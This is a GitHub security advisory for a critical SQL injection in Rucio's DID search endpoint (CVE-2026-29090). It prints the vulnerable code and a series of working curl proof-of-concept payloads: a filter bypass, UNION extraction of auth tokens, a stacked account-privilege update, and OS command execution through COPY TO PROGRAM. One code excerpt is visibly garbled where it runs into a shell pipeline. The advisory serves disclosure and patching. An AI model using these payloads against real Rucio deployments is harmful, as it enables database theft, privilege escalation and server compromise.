GitHub Advisoryadvisory · PyPI
GHSA-6j7p-qjhg-9947 Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API
CRITICAL
Official page ↗
- Aliases
- CVE-2026-29090
- Ecosystem
- PyPI
- Packages
- rucio
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2026-05-06
Affected packages
• PyPI rucio: >= 1.30.0, < 35.8.5 → fixed in 35.8.5
• PyPI rucio: >= 36.0.0, < 38.5.5 → fixed in 38.5.5
• PyPI rucio: >= 39.0.0, < 39.4.2 → fixed in 39.4.2
• PyPI rucio: >= 40.0.0, < 40.1.1 → fixed in 40.1.1
Description
Summary
A SQL injection vulnerability in `FilterEngine.create_postgres_query` allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (`GET /dids//dids/search`). When the external metadata plugin `postgres_meta` is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python `str.format`. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via `COPY ... FROM PROGRAM`.
---
Details
The vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_postgres_query()` method (lines 408-484). This method builds raw SQL strings via Python `.format()` across 6 distinct injection points:
filter_engine.py:477 (string equality — default branch):
```python
expression = "{}->>'{}' {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
```
filter_engine.py:442 (wildcard/LIKE branch):
```python
expression = "{}->>'{}' LIKE '{}' ".format(jsonb_column, key, value.replace('*', '%'))
```
filter_engine.py:456 (boolean branch — value unquoted):
```python
expression = "({}->>'{}' )::boolean {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
```
filter_engine.py:462 (numeric branch — value unquoted):
```python
expression = "({}->>'{}' )::float {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
```
filter_engine.py:472 (datetime branch):
```python
expression = "({}->>'{}' )::timestamp {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
```
filter_engine.py:479 (non-JSONB column fallback):
```python
expression = "{} {} '{}'".format(key, POSTGRES_OP_MAP[oper], value)
```
Both `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The resulting `expression` string is concatenated into a larger query string (`postgres_query_str`) that is then passed to `psycopg3`'s `sql.SQL()`:
```python
postgres_meta.py:314-316
statement = sql.SQL("SELECT * FROM {} WHERE {} {}").format(
sql.Identifier(self.table),
sql.SQL(postgres_query_str), # /dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')
```
2. Value injection — boolean-based filter bypass
```bash
postgres_meta uses create_postgres_query() -> raw string formatting
filter_engine.py:477: "{}->>'{}' {} '{}'".format(jsonb_column, key, op, value)
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"
URL-decoded: custom_key=x' OR '1'='1
Generated SQL fragment:
data->>'custom_key' = 'x' OR '1'='1'
Effect: WHERE clause always true, returns all rows
```
3. Key injection via query parameter name
```bash
The key is single-quoted but unescaped — injection via closing quote.
filter_engine.py:477: "{}->>'{}' {} '{}'".format(jsonb_column, key, op, value)
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"
URL-decoded: key = x' OR 1=1-- , value = anything
Generated SQL fragment:
data->>'x' OR 1=1-- ' = 'anything'
^^^^^^^^ injected, -- comments out the rest
```
4. UNION-based data extraction
```bash
Extract auth tokens from the tokens table.
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"
URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
Effect: Appends tokens table contents to the result set
```
5. Stacked queries — data modification
```bash
PostgreSQL supports multiple statements separated by ;
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--"
URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --
```
6. Remote code execution (if database user has superuser privileges)
```bash
PostgreSQL COPY ... FROM PROGRAM executes OS commands
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--"
URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --
Requires: database user with pg_execute_server_program or superuser role
```
7. Alternative entry via `filters` query parameter
```bash
The filters parameter accepts Python literal syntax via ast.literal_eval().
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'
URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}]
```
---
Impact
Vulnerability type: SQL Injection (CWE-89)
CVSS v3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Who is impacted:
• Rucio deployments that have explicitly configured the `postgres_meta` metadata plugin.
What an attacker can do:
• Data modification: PostgreSQL stacked queries enable arbitr…
Related
Alias · CVE (1)
- CVE-2026-29090 ### Summary A SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in… vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-29090 advisory
- https://github.com/advisories/GHSA-6j7p-qjhg-9947 advisory
- https://github.com/pypa/advisory-database/tree/main/vulns/rucio/PYSEC-2026-527.yaml web
- https://github.com/rucio/rucio package
- https://pypi.org/project/rucio web